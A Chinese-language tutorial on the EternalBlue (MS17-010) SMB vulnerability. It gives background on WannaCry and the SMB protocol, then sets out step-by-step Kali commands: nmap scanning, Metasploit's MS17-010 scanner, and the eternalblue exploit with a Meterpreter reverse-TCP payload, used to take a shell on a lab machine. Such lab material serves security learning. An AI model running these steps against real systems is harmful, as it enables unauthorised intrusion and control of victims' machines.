赞
踩
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至在2017年5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。在该病毒出来不久后就被微软通过打补丁修复。
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器(C/S架构)、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
(1)首先客户端发送一个SMB negport 请求数据报,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
(2)协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
(3)当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
(4)连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
步骤1:利用kali的nmap扫描目标机的端口开放情况
nmap 192.168.43.131
扫描到开放了445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞。(443端口https)
步骤2:使用kali的msf框架,启动Metasploit,进入msf模板库
msfconsole
步骤3:在ms终端下输入以下命令查找ms17-010(永恒之蓝)相关模块
search ms17-010
步骤4:使用smb_ms17_010模块对目标靶机进行漏洞检测,确认其存在ms17-010漏洞。分别输入一下命令来对靶机进行漏洞检测:
①使用smb_ms17_010模块
use auxiliary/scanner/smb/smb_ms17_010
②查看该模块需要设置哪些参数
show options
③设置目标靶机的IP地址
set rhosts 192.168.43.136
④确认参数设置完毕后,输入命令run执行漏洞检测
检测到了ms17-010漏洞。
步骤5:
①使用ms17_010_eternalblue模块对目标机的ms17-010漏洞进行利用
use exploit/windows/smb/ms17_ 010_ eternalblue
//使用ms17_010_eternalblue模块并调用它的0号模块
②观察需要设置的参数
show options
③ 分别设置需要的参数
④ 执行命令run
攻击执行成功后,会显示meterpreter的提示符(因为步骤5在设置payload时选择了windows/x64/meterpreter/reverse_tcp )。直接在该提示符下输入shell命令,则可以拿到目标机的shell,成功控制目标主机,接下来就可以进行后渗透阶段了,对目标靶机进行各种操作。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。